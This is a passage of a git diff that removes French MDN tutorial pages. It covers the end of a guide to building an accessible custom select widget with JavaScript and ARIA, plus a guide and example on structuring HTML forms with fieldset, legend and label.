-        // Note : les variables `select` et `option` sont des "closures"
-        // disponibles dans la portée de notre appel de fonction.
-        highlightOption(select, option);
-      });
-    });
-
-    // Chaque fois que l'utilisateur clique sur un élément personnalisé
-    select.addEventListener('click', function (event) {
-      // Note : la variable `select` est une "closure"
-      // available dans la portée de notre appel de fonction.
-
-      // Nous basculons la visibilité de la liste des options
-      toggleOptList(select);
-    });
-
-    // Dans le cas où le widget obtient le focus
-    // Le widget obtient le focus chaque fois que l'utilisateur clique dessus
-    // ou presse la touche Tab pour avoir accès au widget
-    select.addEventListener('focus', function (event) {
-      // Note : les variable `select` et `selectList` sont des "closures"
-      // disponibles dans la portée de notre appel de fonction.
-
-      // Nous activons le widget
-      activeSelect(select, selectList);
-    });
-
-    // Dans le cas où le widget perd le focus
-    select.addEventListener('blur', function (event) {
-      // Note : la variable `select` est une "closure"
-      // disponible dans la portée de notre appel de fonction.
-
-      // Nous désactivons le widget
-      deactivateSelect(select);
-    });
-  });
-});
- -

A ce stade, notre widget change d'état comme nous l'avons conçu, mais sa valeur n'est pas encore mise à jour. On s'en occupera après.

- - - - - - - - - - - - - - - -
Exemple en direct
{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3")}}
Revoir le code source
- -

Gérer la valeur du widget

- -

 

- -

Maintenant que notre widget fonctionne, nous devons ajouter du code pour mettre à jour la valeur en fonction des entrées utilisateur et envoyer cette valeur avec les données du formulaire.

- -

La façon la plus simple de le faire est d'utiliser un widget natif sous‑jacent. Un tel widget gardera une trace de la valeur avec tous les contrôles intégrés fournis par le navigateur, et la valeur sera envoyée comme d'habitude lorsque le formulaire sera soumis. Il ne sert à rien de réinventer la roue alors que tout cela peut être fait pour nous.

- -

Comme nous l'avons vu précédemment, nous utilisons déjà un widget de sélection natif comme solution de repli pour des raisons d'accessibilité ; nous pouvons simplement synchroniser sa valeur avec celle de notre widget personnalisé :

- -
// Cette fonction met à jour la valeur affichée et la synchronise avec celle
-// du widget natif. Elle prend deux paramètres :
-// select : le nœud DOM de la classe `select` contenant la valuer à mettre à jour
-// index  : l'index de la valeur choisie
-function updateValue(select, index) {
-  // Nous devons obtenir le widget natif correspondant au widget personnalisé
-  // Dans notre exemple, le widget natif est un parent du widget personnalisé
-  var nativeWidget = select.previousElementSibling;
-
-  // Nou devons aussi obtenir la valeur de remplacement du widget personnalisé
-  var value = select.querySelector('.value');
-
-  // Et nous avons besoin de toute la liste des options
-  var optionList = select.querySelectorAll('.option');
-
-  // Nous définissons l'index choisi à l'index du choix
-  nativeWidget.selectedIndex = index;
-
-  // Nous mettons à jour la valeur de remplacement en accord
-  value.innerHTML = optionList[index].innerHTML;
-
-  // Et nous mettons en surbrillance l'option correspondante du widget personnalisé
-  highlightOption(select, optionList[index]);
-};
-
-// Cette fonction renvoie l'index courant dans le widget natif
-// Elle prend un paramètre :
-// select : le nœud DOM avec la classe `select` relative au widget natif
-function getIndex(select) {
-  // Nous avons besoin d'avoir accès au widget natif pour le widget personnalisé
-  // Dans notre exemple, le widget natif est un parent du widget personnalisé
-  var nativeWidget = select.previousElementSibling;
-
-  return nativeWidget.selectedIndex;
-};
- -

Avec ces deux fonctions, nous pouvons lier les widgets natifs avec les personnalisés :

- -
// Nous lions le widget aux événements dès le chargement du document
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  // Chaque widget personnalisé doit être initialisé
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option'),
-        selectedIndex = getIndex(select);
-
-    // Nous rendons le widget personnalisé capable d'avoir le focus
-    select.tabIndex = 0;
-
-    // Nous faisons en sorte que le widget natif ne puisse plus avoir le focus
-    select.previousElementSibling.tabIndex = -1;
-
-    // Nous nous assurons que la valeur sélectionnée par défaut est bien affichée
-    updateValue(select, selectedIndex);
-
-    // Chaque fois que l'utilisateur clique sur une option, nous mettons à
-    // jour la valeur en accord
-    optionList.forEach(function (option, index) {
-      option.addEventListener('click', function (event) {
-        updateValue(select, index);
-      });
-    });
-
-    // Chaque fois que l'utilisateur utilise le clavier sur un widget
-    // avec focus, les valeurs sont mises à jour en accord
-
-    select.addEventListener('keyup', function (event) {
-      var length = optionList.length,
-          index  = getIndex(select);
-
-      // Quand l'utilisateur presse ⇓, nous allons à l'option suivante
-      if (event.keyCode === 40 && index < length - 1) { index++; }
-
-      // Quand l'utilisateur presse ⇑, nous sautons à l'option suivante
-      if (event.keyCode === 38 && index > 0) { index--; }
-
-      updateValue(select, index);
-    });
-  });
-});
- -

Dans le code ci-dessus, il faut noter l'utilisation de la propriété tabIndex. Utiliser cette propriété est nécessaire pour être sûr que le widget natif n'obtiendra jamais le focus et que le widget personnalisé l'obtiendra quand l'utilisateur utilise le clavier ou la souris.

- -

Et voilà, nous avons terminé ! Voici le résultat :

- - - - - - - - - - - - - - - -
Exemple en direct
{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4")}}
Revoir le code source
- -

Mais attendez, avons‑nous vraiment terminé ?

- -

Le rendre « accessible »

- -

 

- -

Nous venons de faire quelque chose qui fonctionne, même si nous sommes loin d'avoir une boîte de sélection avec toutes les fonctionnalités, elle fonctionne parfaitement. Mais ce que nous avons fait n'est rien de plus que de jouer avec les DOM. Elle n'a pas de sémantique réelle, et même si elle ressemble à une boîte de sélection, du point de vue du navigateur, ce n'en est pas une, de sorte que les technologies d'assistance ne pourront pas comprendre que c'est une boîte de sélection. Bref, cette jolie nouvelle boîte de sélection n'est pas accessible !

- -

Heureusement, il existe une solution et elle s'appelle ARIA. ARIA signifie « Accessible Rich Internet Application » et c'est une norme W3C spécialement conçue pour ce que nous faisons ici : rendre accessibles les applications web et les widgets personnalisés. Il s'agit essentiellement d'un ensemble d'attributs qui étendent le HTML afin que nous puissions mieux décrire les rôles, les états et les propriétés comme si l'élément que nous venons de concevoir était l'élément natif pour lequel il essaie de passer. L'utilisation de ces attributs est très simple, alors faisons-le.

- -

L'attribut role

- -

L'attribut clé utilisé par ARIA est l'attribut role. L'attribut role  accepte une valeur qui définit à quoi sert un élément. Chaque rôle définit ses propres exigences et comportements. Dans notre exemple, nous utiliserons le rôle de listbox. C'est un « rôle composite », ce qui signifie que les éléments ayant ce rôle s'attendent à avoir des enfants, chacun avec un rôle spécifique (dans ce cas, au moins un enfant avec le rôle option).

- -

Il faut aussi noter qu'ARIA définit les rôles appliqués par défaut aux balises HTML standard. Par exemple, l'élément {{HTMLElement("table")}} correspond au rôle grid, et l'élément {{HTMLElement("ul")}} correspond au rôle list. Comme nous utilisons un élément {{HTMLElement("ul")}}, nous voulons nous assurer que le rôle listbox de notre widget remplacera le rôle list de l'élément {{HTMLElement("ul")}}. À cette fin, nous utiliserons le rôle presentation. Ce rôle est conçu pour nous permettre d'indiquer qu'un élément n'a pas de signification particulière, et est utilisé uniquement pour présenter de l'information. Nous l'appliquerons à notre élément {{HTMLElement("ul")}}.

- -

Pour prendre en charge le rôle listbos, nous n'avons qu'à mettre à jour notre HTML comme ceci :

- -
<!-- Nous ajoutons le role="listbox" en attribut de l'élément de tête -->
-<div class="select" role="listbox">
-  <span class="value">Cherry</span>
-  <!-- Nous ajoutons aussi le role="presentation" à l'élément ul -->
-  <ul class="optList" role="presentation">
-    <!-- et le rôle="option" en attribut de tous les éléments li -->
-    <li role="option" class="option">Cherry</li>
-    <li role="option" class="option">Lemon</li>
-    <li role="option" class="option">Banana</li>
-    <li role="option" class="option">Strawberry</li>
-    <li role="option" class="option">Apple</li>
-  </ul>
-</div>
- -
-

Note : Inclure à la fois l'attribut role et l'attribut class n'est nécessaire que si vous souhaitez prendre en charge les navigateurs anciens qui n'acceptent pas les selecteurs d'attribut CSS.

-
- -

L'attribut  aria-selected

- -

Utiliser l'attribut role ne suffit pas. ARIA fournit également de nombreux états et attributs de propriété. Plus vous les utiliserez, mieux votre widget sera compris par les techniques d'assistance. Dans notre cas, nous limiterons notre utilisation à un seul attribut : aria-selected.

- -

L'attribut aria-selected s'utilise pour marquer l'option actuellement sélectionnée ; ceci permet aux techniques d'assistance d'informer l'utilisateur quelle est la sélection en cours. Nous l'utiliserons dynamiquement avec JavaScript pour marquer l'option sélectionnée chaque fois que l'utilisateur en choisit une. Pour cela, nous devons réviser la fonction updateValue() :

- -
function updateValue(select, index) {
-  var nativeWidget = select.previousElementSibling;
-  var value = select.querySelector('.value');
-  var optionList = select.querySelectorAll('.option');
-
-  // Nous nous assurons qu'aucune option n'est sélectionnée
-  optionList.forEach(function (other) {
-    other.setAttribute('aria-selected', 'false');
-  });
-
-  // Nous nous assurons que l'option choisie est sélectionnée
-  optionList[index].setAttribute('aria-selected', 'true');
-
-  nativeWidget.selectedIndex = index;
-  value.innerHTML = optionList[index].innerHTML;
-  highlightOption(select, optionList[index]);
-};
- -

Voici le résultat final de toutes ces modifications (vous obtiendrez un meilleur ressenti en les testant avec une technique d'assistance comme NVDA ou VoiceOver) :

- - - - - - - - - - - - - - - -
Exemple en direct
{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5")}}
Revoir le code source
- -

Conclusion

- -

Nous venons de voir les bases pour la construction d'un widget de formulaire personnalisé, mais comme vous avez pu le voir, ce n'est pas facile à faire, et il est souvent préférable et plus facile de s'appuyer sur des bibliothèques tierces au lieu de les coder vous-même (sauf, bien sûr, si vous souhaitez bâtir une telle bibliothèque).

- -

Voici quelques bibliothèques à prendre en considération avant de coder les vôtres :

- - - -

Si vous voulez aller plus loin, le code de cet exemple mérite quelques amélioration avant de devenir générique et réutilisable. C'est un exercice que vous pouvez essayer de faire. Deux conseils pour vous aider : le premier argument pour toutes nos fonctions est le même, ce qui signifie que ces fonctions ont besoin du même contexte. Il serait avisé de construire un objet pour partager ce contexte. En outre, vous devrez éprouver ses fonctionnalités, c'est-à-dire qu'il doit pouvoir fonctionner avec les divers navigateurs dont la compatibilité avec les normes Web qu'ils utilisent varie. Amusez-vous bien !

- -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html b/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html deleted file mode 100644 index 91cd643bd1..0000000000 --- a/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Exemple -slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple -translation_of: Learn/Forms/How_to_structure_a_web_form/Example ---- -

Ceci est un exemple de formulaire de paiement basique extrait de l'article Comment structurer un formulaire HTML.

- -

Un formulaire de paiement

- -

Contenu HTML

- -
<form>
-        <h1>Formulaire de paiement</h1>
-        <p>Les champs obligatoires sont suivis par <strong><abbr title="required">*</abbr></strong>.</p>
-        <section>
-            <h2>Informations de contact</h2>
-            <fieldset>
-              <legend>Qualité</legend>
-              <ul>
-                  <li>
-                    <label for="title_1">
-                      <input type="radio" id="title_1" name="title" value="M." >
-                      Monsieur
-                    </label>
-                  </li>
-                  <li>
-                    <label for="title_2">
-                      <input type="radio" id="title_2" name="title" value="Mme.">
-                      Madame
-                    </label>
-                  </li>
-              </ul>
-            </fieldset>
-            <p>
-              <label for="name">
-                <span>Nom :</span>
-                <strong><abbr title="required">*</abbr></strong>
-              </label>
-              <input type="text" id="name" name="username">
-            </p>
-            <p>
-              <label for="mail">
-                <span>e-mail :</span>
-                <strong><abbr title="required">*</abbr></strong>
-              </label>
-              <input type="email" id="mail" name="usermail">
-            </p>
-            <p>
-              <label for="password">
-                <span>Mot de passe :</span>
-                <strong><abbr title="required">*</abbr></strong>
-              </label>
-              <input type="password" id="pwd" name="password">
-            </p>
-        </section>
-        <section>
-            <h2>Informations de paiement</h2>
-            <p>
-              <label for="card">
-                <span>Type de carte :</span>
-              </label>
-              <select id="card" name="usercard">
-                <option value="visa">Visa</option>
-                <option value="mc">Mastercard</option>
-                <option value="amex">American Express</option>
-              </select>
-            </p>
-            <p>
-              <label for="number">
-                <span>Numéro :</span>
-                <strong><abbr title="required">*</abbr></strong>
-              </label>
-                <input type="text" id="number" name="cardnumber">
-            </p>
-            <p>
-              <label for="date">
-                <span>Validité :</span>
-                <strong><abbr title="required">*</abbr></strong>
-                <em>format mm/aa</em>
-              </label>
-              <input type="text" id="date" name="expiration">
-            </p>
-        </section>
-        <section>
-            <p> <button type="submit">Valider le paiement</button> </p>
-        </section>
-    </form>
- -

Contenu CSS

- -
      h1 {
-          margin-top: 0;
-      }
-
-      ul {
-          margin: 0;
-          padding: 0;
-          list-style: none;
-      }
-
-      form {
-          margin: 0 auto;
-          width: 450px;
-          padding: 1em;
-          border: 1px solid #CCC;
-          border-radius: 1em;
-      }
-
-      div+div {
-          margin-top: 1em;
-      }
-
-      label span {
-          display: inline-block;
-          width: 120px;
-          text-align: right;
-      }
-
-      input, textarea {
-          font: 1em sans-serif;
-          width: 250px;
-          box-sizing: border-box;
-          border: 1px solid #999;
-      }
-
-      input[type=checkbox], input[type=radio] {
-          width: auto;
-          border: none;
-      }
-
-      input:focus, textarea:focus {
-          border-color: #000;
-      }
-
-      textarea {
-          vertical-align: top;
-          height: 5em;
-          resize: vertical;
-      }
-
-      fieldset {
-          width: 250px;
-          box-sizing: border-box;
-          margin-left: 146px;
-          border: 1px solid #999;
-      }
-
-      button {
-          margin: 20px 0 0 124px;
-      }
-
-      label {
-        position: relative;
-      }
-
-      label em {
-        position: absolute;
-        right: 5px;
-        top: 20px;
-      }
- -

Résultat

- -

{{ EmbedLiveSample("Un_formulaire_de_paiement", "100%", "620") }}

- -

 

diff --git a/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html b/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html deleted file mode 100644 index f7d2e7db7d..0000000000 --- a/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html +++ /dev/null @@ -1,310 +0,0 @@ ---- -title: Comment structurer un formulaire HTML -slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML -tags: - - Apprentissage - - Débutant - - Exemple - - Formulaires - - Guide - - HTML - - Structure - - Web -translation_of: Learn/Forms/How_to_structure_a_web_form ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}
- -

Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.

- - - - - - - - - - - - -
Prérequis :Notions concernant les ordinateurs et les connaissances de base du HTML.
Objectif :Comprendre comment structurer les formulaires HTML et leur adjoindre la sémantique pour qu'ils soient utilisables et accessibles.
- -

La souplesse des formulaires HTML fait d'eux une des structures les plus complexes en HTML. vous pouvez construire n'importe quel type de formulaire basique en utilisant les éléments et attributs qui leur sont dédiés. En utilisant une architecture correcte lors de la construction d'un formulaire, vous serez sûrs que le formulaire est à la fois utilisable et accessible.

- -

L'élément <form>

- -

L'élément {{HTMLElement("form")}} définit conventionnellement un formulaire et des attributs qui déterminent le comportement du‑dit formulaire. Chaque fois que vous voulez créer un formulaire HTML, vous devez le débuter par cet élément et mettre tout son contenu à l'intérieur. De nombreuses techniques d'assistance ou greffons de navigateur peuvent détecter les éléments {{HTMLElement("form")}} et implémenter des accroches spéciales pour les rendre plus faciles à utiliser.

- -

Nous l'avons déjà rencontré dans l'article précédent.

- -
Note : Il est strictement interdit d'imbriquer un formulaire dans un autre formulaire. L'imbrication peut conduire à des comportements imprévisibles selon le navigateur utilisé.
- -

Notez qu'il est toujours possible d'utiliser un widget de formulaire en dehors d'un élément {{HTMLElement("form")}} mais si vous le faites, ce widget de formulaire n'a rien à voir avec un formulaire. De tels widgets peuvent être utilisés en dehors d'un formulaire, mais alors vous devriez avoir un plan spécial pour de tels widgets, puisqu'ils ne feront rien tout seuls. Vous devrez personnaliser leur comportement avec JavaScript.

- -
-

Note: HTML5 introduit l'attribut form dans les éléments form du HTML. Il devrait vous permettre de lier explicitement un élément avec un formulaire même s'il n'est pas inclus dans un {{ HTMLElement("form") }}. Malheureusement, pour l'instant, l'implémentation de cette fonctionnalité dans les navigateurs n'est pas encore assez fiable.

-
- -

Les éléments <fieldset> et <legend>

- -

L'élément {{HTMLElement("fieldset")}} est un moyen pratique de créer des groupes de widgets qui partagent le même but, pour le style et la sémantique. Vous pouvez étiqueter un {{HTMLElement("fieldset")}} en incluant un élément {{HTMLElement("legend")}} juste en dessous de la balise d'ouverture <fieldset>. Le contenu textuel de l'élément {{HTMLElement("legend")}} décrit formellement le but de l'élément {{HTMLElement("fieldset")}} inclus à l'intérieur.

- -

De nombreuses technologies d'assistance utiliseront l'élément {{HTMLElement("legend")}} comme s'il faisait partie de l'étiquette de chaque widget à l'intérieur de l'élément {{HTMLElement("fieldset")}} correspondant. Par exemple, certains lecteurs d'écran comme Jaws ou NVDA énonceront le contenu de la légende avant d'indiquer l'étiquette de chaque widget.

- -

Voici un petit exemple :

- -
<form>
-  <fieldset>
-    <legend>Taille du jus de fruits</legend>
-    <p>
-      <input type="radio" name="size" id="size_1" value="small">
-      <label for="size_1">Petite</label>
-    </p>
-    <p>
-      <input type="radio" name="size" id="size_2" value="medium">
-      <label for="size_2">Moyenne</label>
-    </p>
-    <p>
-      <input type="radio" name="size" id="size_3" value="large">
-      <label for="size_3">Grande</label>
-    </p>
-  </fieldset>
-</form>
- -
-

Note : Vous trouverez cet exemple dans fieldset-legend.html (voir directement aussi).

-
- -

En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième.

- -

Le scenario d'utilisation du lecteur dans cet exemple est l'un des plus importants. Chaque fois que vous avez un ensemble de boutons radio, vous devez les imbriquer dans un élément {{HTMLElement("fieldset")}}. Il y a d'autres scenarii d'utilisation, et en général l'élément {{HTMLElement("fieldset")}} peut aussi être utilisé pour partager un formulaire. Idéalement, les formulaires longs doivent être éclatés sur plusieurs pages, mais si un formulaire long doit être sur une page unique, le fait de placer les différentes sections connexes dans de différents {{HTMLElement("fieldset")}} peut en améliorer l'utilisation.

- -

En raison de son influence sur les techniques d'assistance, l'élément {{HTMLElement("fieldset")}} est l'un des éléments clés pour la création de formulaires accessibles ; cependant, il vous appartient de ne pas en abuser. Si possible, chaque fois que vous créez un formulaire, essayez d'écouter comment un lecteur d'écran l'interprète. Si cela ne paraît pas naturel, essayez d'améliorer la structure du formulaire.

- -

L'élément <label>

- -

Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent :

- -
<label for="name">Nom :</label> <input type="text" id="name" name="user_name">
- -

Avec un élément <label> correctement associé à <input> par l'intermédiaire respectivement des attributs for et id (l'attribut for de <label> référence l'attibut id du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ».

- -

Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout.

- -

Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi :

- -
<label for="name">
-  Nom : <input type="text" id="name" name="user_name">
-</label>
- -

Toutefois, même dans ce cas, il est considéré de bonne pratique de définir l'attribut for parce que certaines techniques d'assistance ne font pas implicitement le lien entre les étiquettes et les widgets.

- -

Les étiquettes peuvent être cliquées, aussi !

- -

Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible.

- -

Par exemple :

- -
<form>
-  <p>
-    <label for="taste_1">J'aime les cerises</label>
-    <input type="checkbox" id="taste_1" name="taste_cherry" value="1">
-  </p>
-  <p>
-    <label for="taste_2">J'aime les bananes</label>
-    <input type="checkbox" id="taste_2" name="taste_banana" value="2">
-  </p>
-</form>
- -
-

Note : Vous trouverez cet exemple dans checkbox-label.html (à voir directement aussi).

-
- -

Étiquettes multiples

- -

En fait, il est possible d'associer plusieurs étiquettes à un seul widget, mais ce n'est pas une bonne idée car certaines techniques d'assistance peuvent éprouver du trouble pour leur gestion. Dans le cas d'étiquettes multiples, vous devez incorporer le widget et son étiquette dans un seul élément {{htmlelement("label")}}.

- -

Considérons cet exemple :

- -
<p>Les champs obligatoires sont suivis de <abbr title="required">*</abbr>.</p>
-
-<!-- Donc ceci : -->
-<div>
-  <label for="username">Nom :</label>
-  <input type="text" name="username">
-  <label for="username"><abbr title="required">*</abbr></label>
-</div>
-
-<!-- sera mieux programmé ainsi : -->
-<div>
-  <label for="username">
-    <span>Nom :</span>
-    <input id="username" type="text" name="username">
-    <abbr title="required">*</abbr>
-  </label>
-</div>
-
-<!-- mais ceci est probablement encore meilleur : -->
-<div>
-  <label for="username">Nom :<abbr title="required">*</abbr></label>
-  <input id="username" type="text" name="username">
-</div>
- -

Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe.

- -
    -
  • Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments <label> embrouillent le lecteur d'écran.
    • -
  • Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée.
    • -
  • Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ».
    • -
- -
-

Note : Vous pouvez obtenir des résultats légérement différents, selon votre lecteur d'écran. Ce qui précéde a été testé avec VoiceOver (et NVDA se comporte de la même façon). Nous aimerions avoir un retour sur vos expériences également.

-
- -
-

Note : Vous trouverez cet exemple sur GitHub dans required-labels.html (à voir directement aussi). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID !

-
- -

Structures HTML courantes dans les formulaires

- -

Au-delà des structures propres aux formulaires HTML,rappelons‑nous que les formulaires sont du pur HTML. Vous pouvez donc utiliser toute la puissance du HTML pour structurer un formulaire.

- -

Comme vous avez pu le voir dans les exemples, il est de pratique courante d'envelopper une étiquette et son widget avec un élément {{HTMLElement("div")}}. Les éléments {{HTMLElement("p")}} sont aussi couramment utilisés, tout comme les listes HTML (ces dernières sont très courantes pour structurer plusieurs cases à cocher ou boutons radio).

- -

En plus de l'élément {{HTMLElement("fieldset")}}, il est habituel d'utiliser des titres HTML (par exemple {{htmlelement("h1")}}, {{htmlelement("h2")}}) et des sections (par exemple {{htmlelement("section")}}) pour structurer un formulaire complexe.

- -

Par-dessus tout, il vous appartient de trouver un style où vous vous sentez à l'aise pour coder, et qui se traduit aussi par des formulaires accessibles et utilisables.

- -

Chaque groupe de fonctionnalités séparées doit être contenu dans un élément {{htmlelement("section")}} et les boutons radio dans un élément {{htmlelement("fieldset")}}.

- -

Apprentissage actif : construire une structure de formulaire

- -

Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant (Les widgets natifs pour formulaire). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi.

- -
    -
  1. Pour commencer, faites une copie locale de notre fichier modèle vierge et des CSS pour notre formulaire de paiement dans un nouveau répertoire.
    2. -
  2. Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML : - 
    <link href="payment-form.css" rel="stylesheet">
    -
    3. -
  3. Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} : - 
    <form>
-
-</form>
    -
    4. -
  4. Entre les balises <form>, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires : - 
    <h1>Formulaire de paiement</h1>
-<p>Les champs obligatoires sont suivis par un <strong><abbr title="required">*</abbr></strong>.</p>
    -
    5. -
  5. Ensuite, nous ajoutons une grande section de code dans le formulaire, sous la précédente. Ici vous verrez que nous enveloppons les champs d'informations de contact dans des éléments {{htmlelement("section")}} distincts. De plus, nous avons un ensemble de deux boutons radio, que nous mettons chacun à l'intérieur de leur propre élément de liste ({{htmlelement("li")}}). Enfin, nous avons deux zones de texte standard {{htmlelement("input")}} et leurs éléments {{htmlelement("label")}} associés, chacun contenu dans un élément {{htmlelement("p")}}, plus une entrée pour le mot de passe. Ajoutez ce code à votre formulaire maintenant : - 
    <section>
-    <h2>Informations de contact</h2>
-    <fieldset>
-      <legend>Qualité</legend>
-      <ul>
-          <li>
-            <label for="title_1">
-              <input type="radio" id="title_1" name="title" value="M." >
-              Monsieur
-            </label>
-          </li>
-          <li>
-            <label for="title_2">
-              <input type="radio" id="title_2" name="title" value="Mme.">
-              Madame
-            </label>
-          </li>
-      </ul>
-    </fieldset>
-    <p>
-      <label for="name">
-        <span>Nom : </span>
-        <strong><abbr title="required">*</abbr></strong>
-      </label>
-      <input type="text" id="name" name="username">
-    </p>
-    <p>
-      <label for="mail">
-        <span>e-mail :</span>
-        <strong><abbr title="required">*</abbr></strong>
-      </label>
-      <input type="email" id="mail" name="usermail">
-    </p>
-    <p>
-      <label for="pwd">
-        <span>Mot de passe :</span>
-        <strong><abbr title="required">*</abbr></strong>
-      </label>
-      <input type="password" id="pwd" name="password">
-    </p>
-</section>
    -
    6. -
  6. Nous arrivons maintenant à la deuxième <section> de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe <p>. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième  est un élément <input> de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément <input> de type date pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus : - 
    
-<section>
-    <h2>Informations de paiement</h2>
-    <p>
-      <label for="card">
-        <span>Type de carte :</span>
-      </label>
-      <select id="card" name="usercard">
-        <option value="visa">Visa</option>
-        <option value="mc">Mastercard</option>
-        <option value="amex">American Express</option>
-      </select>
-    </p>
-    <p>
-      <label for="number">
-        <span>Numéro de carte :</span>
-        <strong><abbr title="required">*</abbr></strong>
-      </label>
-      <input type="text" id="number" name="cardnumber">
-    </p>
-    <p>
-      <label for="date">
-        <span>Validité :</span>
-        <strong><abbr title="required">*</abbr></strong>
-        <em>format mm/aa</em>
-      </label>
-      <input type="text" id="date" name="expiration">
-    </p>
-</section>
    -
    7. -
  7. La dernière section est plus simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type submit, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire : - 
    <p> <button type="submit">Valider le paiement</button> </p>
    -
    8. -
- -

Vous pouvez voir le formulaire terminé en action ci‑dessous (vous le trouverez aussi sur GitHub — voir la source payment-form.html et une exécution directe):

- -

{{EmbedLiveSample("Un_formulaire_de_paiement","100%","620", "", "Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple")}}

- -

Résumé

- -

Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre  des divers types de widgets pour formulaire pour collecter les informations utilisateur.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

